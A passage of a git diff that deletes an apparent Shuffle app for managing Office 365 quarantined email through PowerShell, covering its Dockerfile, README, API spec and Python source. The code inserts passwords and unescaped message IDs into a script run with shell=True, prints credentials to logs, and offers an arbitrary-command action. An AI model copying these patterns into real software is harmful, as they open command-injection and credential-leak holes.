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 diff --git a/exchange-powershell/1.0.0/replacementfile.ps1 b/exchange-powershell/1.0.0/replacementfile.ps1 deleted file mode 100644 index 88c1dce2..00000000 --- a/exchange-powershell/1.0.0/replacementfile.ps1 +++ /dev/null @@ -1,11 +0,0 @@ -# This file is used to run powershell-remote commands from within Shuffle from python. -# Fields using { } are to be replaced (username, password, command) -# -$parsedPassword = ConvertTo-SecureString -String {PASSWORD} -AsPlainText -Force -$creds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList {USERNAME}, $parsedPassword - -$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Authentication Basic -AllowRedirection -Credential $creds - -Import-PSSession $Session -DisableNameChecking -CommandName Get-QuarantineMessage, Get-QuarantineMessageHeader, Delete-QuarantineMessage, Export-QuarantineMessage, Preview-QuarantineMessage, Release-QuarantineMessage - -{COMMAND} diff --git a/exchange-powershell/1.0.0/requirements.txt b/exchange-powershell/1.0.0/requirements.txt deleted file mode 100644 index e69de29b..00000000 diff --git a/exchange-powershell/1.0.0/src/app.py b/exchange-powershell/1.0.0/src/app.py deleted file mode 100644 index acdf8648..00000000 --- a/exchange-powershell/1.0.0/src/app.py +++ /dev/null @@ -1,182 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import subprocess -import base64 - -from walkoff_app_sdk.app_base import AppBase - -# 1. Generate the api.yaml based on downloaded files -# 2. Add a way to choose the rule and the target platform for it -# 3. Add the possibility of translating rules back and forth - -# 4. Make it so you can start with Mitre Att&ck techniques -# and automatically get the right rules set up with your tools :O -class exchange_powershell(AppBase): - __version__ = "1.0.0" - app_name = "exchange-powershell" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - self.filename = "replacementfile.ps1" - super().__init__(redis, logger, console_logger) - - def cleanup(self, item): - newlines = [] - print(f"Cleanup item: {item}") - - record = False - skipped = 0 - for line in item.split("\n"): - if line.startswith("{") or line.startswith("["): - record = True - - if not record and not line.startswith("{") and not line.startswith("["): - skipped += 1 - - if record: - newlines.append(line) - - - print(f"SKIPPED {skipped} lines") - if len(newlines) == 0: - return item - - item = "\n".join(newlines) - - return item - - def replace_and_run(self, username, password, parsed_command): - data = "" - with open(self.filename, "r") as tmp: - data = tmp.read() - - if len(data) == 0: - return "" - - data = data.replace("{USERNAME}", username) - data = data.replace("{PASSWORD}", password) - data = data.replace("{COMMAND}", parsed_command) - print(f"DATA: {data}") - - with open(self.filename, "w+") as tmp: - tmp.write(data) - - command = f"pwsh -file {self.filename}" - print(f"PRE POPEN: {command}") - process = subprocess.Popen( - command, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, - shell=True, # nosec - ) - print("POST STDOUT") - stdout = process.communicate() - print(f"STDOUT: {stdout}") - item = "" - if len(stdout[0]) > 0: - item = stdout[0] - print("Succesfully ran bash. Stdout: %s" % item) - else: - item = stdout[1] - print("FAILED to run bash. Stdout: %s!" % item) - #return item - - try: - new_cleanup = self.cleanup(item) - if len(new_cleanup) > 0: - item = new_cleanup - except Exception as e: - pass - - try: - return item.decode("utf-8") - except Exception as e: - return item - - return item - - # Write your data inside this function - def release_quarantine_message(self, username, password, message_id): - parsed_command = f"Release-QuarantineMessage -Identity {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(username, password, parsed_command) - return ret - - # Write your data inside this function - def preview_quarantine_message(self, username, password, message_id): - parsed_command = f"Preview-QuarantineMessage -Identity {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(username, password, parsed_command) - return ret - - # Write your data inside this function - def export_quarantine_message(self, username, password, message_id, skip_upload="false"): - parsed_command = f"Export-QuarantineMessage -Identity {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(username, password, parsed_command) - print("RET: %s" % ret) - try: - ret = json.loads(ret) - except json.decoder.JSONDecodeError: - return ret - - file_eml = ret["Eml"] - if skip_upload == "true": - return file_eml - - message_bytes = base64.b64decode(file_eml) - - fileinfo = self.set_files({ - "filename": f"{message_id}.eml", - "data": message_bytes - }) - - if len(fileinfo) == 1: - return { - "success": True, - "file_id": fileinfo[0] - } - return fileinfo - - # Write your data inside this function - def delete_quarantine_message(self, username, password, message_id): - parsed_command = f"Delete-QuarantineMessage -Identity {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(username, password, parsed_command) - return ret - - # Write your data inside this function - def get_quarantine_message(self, username, password, message_id): - parsed_command = f"Get-QuarantineMessage {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(username, password, parsed_command) - return ret - - # Write your data inside this function - def get_quarantine_messages(self, username, password, time_from, time_to): - #parsed_command = f"Get-QuarantineMessage -StartReceivedDate {time_from} -EndReceivedDate {time_to} | ConvertTo-Json" - #parsed_command = f"Get-QuarantineMessage -StartReceivedDate {time_from} -EndReceivedDate {time_to}" - parsed_command = f"Get-QuarantineMessage -PageSize 50 -Page 1" - - - ret = self.replace_and_run(username, password, parsed_command) - return ret - - # Write your data inside this function - def get_quarantine_messageheaders(self, username, password, message_id): - parsed_command = f"Get-QuarantineMessageHeader {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(username, password, parsed_command) - return ret - -if __name__ == "__main__": - exchange_powershell.run() diff --git a/exchange-powershell/1.1.0/Dockerfile b/exchange-powershell/1.1.0/Dockerfile deleted file mode 100644 index cc6e4d1e..00000000 --- a/exchange-powershell/1.1.0/Dockerfile +++ /dev/null @@ -1,67 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency -RUN apk add --no-cache \ - ca-certificates \ - less \ - ncurses-terminfo-base \ - krb5-libs \ - libgcc \ - libintl \ - libssl1.1 \ - libstdc++ \ - tzdata \ - userspace-rcu \ - zlib \ - icu-libs \ - curl - -RUN apk -X https://dl-cdn.alpinelinux.org/alpine/edge/main add --no-cache \ - lttng-ust - -# Download the powershell '.tar.gz' archive -RUN curl -L https://github.com/PowerShell/PowerShell/releases/download/v7.2.3/powershell-7.2.3-linux-alpine-x64.tar.gz -o /tmp/powershell.tar.gz - -# Create the target folder where powershell will be placed -RUN mkdir -p /opt/microsoft/powershell/7 - -# Expand powershell to the target folder -RUN tar zxf /tmp/powershell.tar.gz -C /opt/microsoft/powershell/7 - -# Set execute permissions -RUN chmod +x /opt/microsoft/powershell/7/pwsh - -# Create the symbolic link that points to pwsh -RUN ln -s /opt/microsoft/powershell/7/pwsh /usr/bin/pwsh -RUN pwsh -Command Install-Module -Name ExchangeOnlineManagement -AllowPrerelease -Force -RequiredVersion 2.0.6-Preview5 -RUN sh -c "yes | pwsh -Command 'Install-Module -Name PSWSMan'" -RUN pwsh -Command 'Install-WSMan' -RUN pwsh -Command Import-Module 'Microsoft.PowerShell.Security' -Force - -# Adds a replacement file which will be used to run the powershell script from python -COPY replacementfile.ps1 /app/replacementfile.ps1 -#COPY password.ps1 password.ps1 -#RUN pwsh -file password.ps1 - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/exchange-powershell/1.1.0/README.md b/exchange-powershell/1.1.0/README.md deleted file mode 100644 index e23727c5..00000000 --- a/exchange-powershell/1.1.0/README.md +++ /dev/null @@ -1,45 +0,0 @@ -docker run -it mcr.microsoft.com/powershell:ubuntu-18.04 - - -### https://docs.microsoft.com/en-us/powershell/module/exchange/connect-exchangeonline?view=exchange-ps -Install-Module -Name ExchangeOnlineManagement -Force - -Connect-ExchangeOnline -Device - -* Go to https://microsoft.com/devicelogin and type in the code they give - -Get-QuarantineMessage -Get-QuarantineMessageHeader -Delete-QuarantineMessage -Export-QuarantineMessage -Preview-QuarantineMessage -Release-QuarantineMessage - -############### Otherwise: -Install-Module -Name ExchangeOnlineManagement -Force -Connect-ExchangeOnline -InlineCredential - -$userCredential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "frikky@shufflertest2.onmicrosoft.com", $(ConvertTo-SecureString -String "MyPassword" -AsPlainText -Force) - -$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Authentication Basic -AllowRedirection -Credential $(New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "frikky@shufflertest2.onmicrosoft.com", $(ConvertTo-SecureString -String "MyPassword" -AsPlainText -Force)) - -Import-PSSession $Session -AllowClobber - - -############### USAGE -$msg = Get-QuarantineMessage -StartReceivedDate 06/13/2016 -EndReceivedDate 01/01/2025 -$msg[0].MessageID -$msg[0].Identity - -Get-QuarantineMessage -MessageID "<5c695d7e-6642-4681-a4b0-9e7a86613cb7@contoso.com>" -Get-QuarantineMessage -Identity $msg.identity - -Get-QuarantineMessageHeader $msg.identity -$exported = Export-QuarantineMessage -Identity $msg.identity -$exported.eml - - - -############## EXTRA PSWSMan -Install-Module -Name PSWSMan -Force -Install-WSMan diff --git a/exchange-powershell/1.1.0/api.yaml b/exchange-powershell/1.1.0/api.yaml deleted file mode 100644 index 02cad4fc..00000000 --- a/exchange-powershell/1.1.0/api.yaml +++ /dev/null @@ -1,161 +0,0 @@ -app_version: 1.1.0 -name: Exchange Powershell -description: An app to interact with emails to be downloaded and release quarantined emails from office365 using Powershell -contact_info: - name: "@frikkylikeme" - url: https://github.com/vlegoy/rcATT - email: frikky@shuffler.io -tags: - - Communication -categories: - - Communication -authentication: - required: true - parameters: - - name: certificate - description: The File ID of the certificate to use - required: true - example: 'file_1231231231232' - schema: - type: string - - name: password - description: The password for the certificate - required: true - example: 'app_password' - schema: - type: string - - name: app_id - description: The app ID from azure - required: true - example: 'app_id_from_azure' - schema: - type: string - - name: organization - description: Your organization as an onmicrosoft.com account - required: true - example: 'shufflertest2.onmicrosoft.com' - schema: - type: string -actions: - - name: run_custom - description: Runs a python script defined by YOU - parameters: - - name: command - description: The organization - multiline: true - required: true - example: 'ls; echo "hi"; Get-Mailbox' - schema: - type: string - returns: - schema: - type: string - - name: get_quarantine_messages - description: Predicts the - parameters: - - name: time_from - description: Start time - required: true - multiline: true - example: '06/13/2016' - schema: - type: string - - name: time_to - description: End time - required: true - multiline: true - example: '01/01/2025' - schema: - type: string - returns: - schema: - type: string - - name: release_quarantine_message - description: Releases quarantine message back to the original user - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '' - schema: - type: string - returns: - schema: - type: string - - name: preview_quarantine_message - description: Previews a quarantine message - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '{"data": "testing"}' - schema: - type: string - returns: - schema: - type: string - - name: export_quarantine_message - description: Exports a quarantine message - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '{"data": "testing"}' - schema: - type: string - - name: skip_upload - description: Decides if you should upload the file or not - required: true - multiline: false - options: - - false - - true - example: '{"data": "testing"}' - schema: - type: string - returns: - schema: - type: string - - name: delete_quarantine_message - description: Deletes a quarantine message - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '{"data": "testing"}' - schema: - type: string - returns: - schema: - type: string - - name: get_quarantine_message - description: Predicts the - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '{"data": "testing"}' - schema: - type: string - returns: - schema: - type: string - - name: get_quarantine_messageheaders - description: Predicts the - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '' - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/exchange-powershell/1.1.0/replacementfile.ps1 b/exchange-powershell/1.1.0/replacementfile.ps1 deleted file mode 100644 index 854ffceb..00000000 --- a/exchange-powershell/1.1.0/replacementfile.ps1 +++ /dev/null @@ -1,6 +0,0 @@ -# This file is used to run powershell-remote commands from within Shuffle from python. -# Fields using { } are to be replaced (username, password, command) -Connect-ExchangeOnline -CertificateFilePath "./cert.pfx" -AppID "{APP_ID}" -Organization "{ORGANIZATION}" -CertificatePassword (ConvertTo-SecureString -String "{PASSWORD}" -AsPlainText -Force) - -echo "ANYTHING BEFORE THIS LINE IS NOT A PART OF THE RESULT AND SHOULD BE IGNORED. IF YOU SEE THIS TEXT IT IS PROBABLY DUE TO GETTING NO RESULTS" -{COMMAND} diff --git a/exchange-powershell/1.1.0/requirements.txt b/exchange-powershell/1.1.0/requirements.txt deleted file mode 100644 index e69de29b..00000000 diff --git a/exchange-powershell/1.1.0/src/app.py b/exchange-powershell/1.1.0/src/app.py deleted file mode 100644 index d368a44a..00000000 --- a/exchange-powershell/1.1.0/src/app.py +++ /dev/null @@ -1,244 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import subprocess -import base64 - -from walkoff_app_sdk.app_base import AppBase - -# 1. Generate the api.yaml based on downloaded files -# 2. Add a way to choose the rule and the target platform for it -# 3. Add the possibility of translating rules back and forth - -# 4. Make it so you can start with Mitre Att&ck techniques -# and automatically get the right rules set up with your tools :O -class exchange_powershell(AppBase): - __version__ = "1.0.0" - app_name = "exchange-powershell" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - self.filename = "replacementfile.ps1" - super().__init__(redis, logger, console_logger) - - def cleanup(self, item): - newlines = [] - record = False - skipped = 0 - for line in item.split("\n"): - if line.startswith("{") or line.startswith("["): - record = True - - if not record and not line.startswith("{") and not line.startswith("["): - skipped += 1 - - if record: - newlines.append(line) - - #if "SHFFL_START" in line: - # record = True - - self.logger.info(f"SKIPPED {skipped} lines") - if len(newlines) == 0: - return item - - item = "\n".join(newlines) - - return item - - def replace_and_run(self, password, app_id, organization, command): - data = "" - with open(self.filename, "r") as tmp: - data = tmp.read() - - if len(data) == 0: - return "" - - data = data.replace("{PASSWORD}", password) - data = data.replace("{APP_ID}", app_id) - data = data.replace("{ORGANIZATION}", organization) - data = data.replace("{COMMAND}", command) - - with open(self.filename, "w+") as tmp: - tmp.write(data) - - command = f"pwsh -file {self.filename}" - self.logger.info(f"PRE POPEN: {command}") - process = subprocess.Popen( - command, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, - shell=True, # nosec - ) - self.logger.info("POST STDOUT") - stdout = 